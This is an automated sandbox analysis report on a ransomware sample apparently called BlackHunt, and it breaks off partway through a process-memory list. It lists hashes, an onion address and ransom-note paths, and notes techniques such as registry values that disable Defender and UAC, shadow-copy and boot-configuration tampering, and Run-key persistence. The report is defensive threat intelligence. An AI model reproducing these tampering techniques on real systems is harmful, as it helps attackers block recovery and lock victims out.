Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
178s -
max time network
197s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
18/01/2024, 23:47
Static task
static1
Behavioral task
behavioral1
Sample
7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
Resource
win10v2004-20231215-en
General
-
Target
7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe
-
Size
707KB
-
MD5
dfd710da830c3c39d52b677fd8b53005
-
SHA1
fa116760d81aba4138df3283acf13136312e9be4
-
SHA256
7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1
-
SHA512
0420e58e95d5fb9415c27786eaab4b8a2a8faee19dd579e0dc81f7946397af008ad7d91b75ad0808fe1148afa509c5ccf8e77635666bf25b2d1a937c26eb164f
-
SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1i8uvnh:6uaTmkZJ+naie5OTamgEoKxLWhwh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
-
Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 4932 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 1648 bcdedit.exe 4864 bcdedit.exe -
Renames multiple (332) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
pid Process 2900 wbadmin.exe -
Disables Task Manager via registry modification
-
Disables use of System Restore points 1 TTPs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\V: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\K: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\B: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\W: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\U: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\A: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\S: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\X: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\N: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\Q: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\H: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\Z: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\Y: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\T: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\I: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\O: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\P: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\M: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\R: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\J: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\E: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened (read-only) \??\G: 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 20 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\7-Zip\Lang\ext.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\libpng.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\santuario.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\az\LC_MESSAGES\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\hy.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\pl.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_ko.properties 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\access-bridge-64.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\dnsns.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\ta.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\uk.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\uz.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCallbacks.h 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\io.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\dotnet\host\fxr\8.0.0\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\kk.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\ku-ckb.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\mng2.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\giflib.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jfr\default.jfc 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jre-1.8\lib\amd64\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\lv.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\dom.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\freebxml.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\ext\cldrdata.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\libxml2.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\pkcs11cryptotoken.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\libffi.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\lib\ant-javafx.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_de.properties 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\libpng.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\sr-spl.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_ReadMe.hta 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\legal\jdk\cldr.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\jfr\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jfxswt.jar 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\dom.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\7-Zip\Lang\ug.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\icu.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.txt 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\Java\jre-1.8\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\security\java.policy 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\an\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File created C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\jdk\cldr.md 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 972 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4800 vssadmin.exe 2584 vssadmin.exe 2568 vssadmin.exe 412 vssadmin.exe 2320 vssadmin.exe -
Modifies registry class 12 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeRestorePrivilege 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeBackupPrivilege 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeTakeOwnershipPrivilege 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeAuditPrivilege 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeSecurityPrivilege 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeIncBasePriorityPrivilege 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe Token: SeBackupPrivilege 4900 vssvc.exe Token: SeRestorePrivilege 4900 vssvc.exe Token: SeAuditPrivilege 4900 vssvc.exe Token: SeBackupPrivilege 3340 wbengine.exe Token: SeRestorePrivilege 3340 wbengine.exe Token: SeSecurityPrivilege 3340 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1108 wrote to memory of 412 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 91 PID 1108 wrote to memory of 412 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 91 PID 1108 wrote to memory of 808 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 93 PID 1108 wrote to memory of 808 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 93 PID 1108 wrote to memory of 972 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 95 PID 1108 wrote to memory of 972 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 95 PID 1108 wrote to memory of 4012 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 98 PID 1108 wrote to memory of 4012 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 98 PID 1108 wrote to memory of 3912 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 97 PID 1108 wrote to memory of 3912 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 97 PID 808 wrote to memory of 4344 808 cmd.exe 101 PID 808 wrote to memory of 4344 808 cmd.exe 101 PID 412 wrote to memory of 2076 412 cmd.exe 102 PID 412 wrote to memory of 2076 412 cmd.exe 102 PID 972 wrote to memory of 3468 972 schtasks.exe 104 PID 3912 wrote to memory of 2328 3912 cmd.exe 105 PID 972 wrote to memory of 3468 972 schtasks.exe 104 PID 3912 wrote to memory of 2328 3912 cmd.exe 105 PID 4012 wrote to memory of 1236 4012 cmd.exe 103 PID 4012 wrote to memory of 1236 4012 cmd.exe 103 PID 1108 wrote to memory of 3800 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 106 PID 1108 wrote to memory of 3800 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 106 PID 1108 wrote to memory of 1764 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 115 PID 1108 wrote to memory of 1764 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 115 PID 1108 wrote to memory of 4812 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 107 PID 1108 wrote to memory of 4812 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 107 PID 1108 wrote to memory of 3068 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 108 PID 1108 wrote to memory of 3068 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 108 PID 1108 wrote to memory of 1956 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 110 PID 1108 wrote to memory of 1956 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 110 PID 1108 wrote to memory of 692 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 135 PID 1108 wrote to memory of 692 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 135 PID 1108 wrote to memory of 436 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 134 PID 1108 wrote to memory of 436 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 134 PID 1108 wrote to memory of 3832 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 124 PID 1108 wrote to memory of 3832 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 124 PID 1108 wrote to memory of 4576 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 117 PID 1108 wrote to memory of 4576 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 117 PID 1108 wrote to memory of 2200 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 121 PID 1108 wrote to memory of 2200 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 121 PID 1108 wrote to memory of 2428 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 123 PID 1108 wrote to memory of 2428 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 123 PID 1108 wrote to memory of 4428 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 131 PID 1108 wrote to memory of 4428 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 131 PID 1108 wrote to memory of 4268 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 125 PID 1108 wrote to memory of 4268 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 125 PID 1108 wrote to memory of 3348 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 130 PID 1108 wrote to memory of 3348 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 130 PID 1108 wrote to memory of 4552 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 129 PID 1108 wrote to memory of 4552 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 129 PID 1108 wrote to memory of 4064 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 137 PID 1108 wrote to memory of 4064 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 137 PID 1108 wrote to memory of 3556 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 138 PID 1108 wrote to memory of 3556 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 138 PID 1108 wrote to memory of 4860 1108 7447ee01f4d2255fbb29a3a39ebabad6f5ece98609ab2c73c7b1cc67cb0bfbd1.exe 154 PID 1108 wrote to memory of 4860 1108 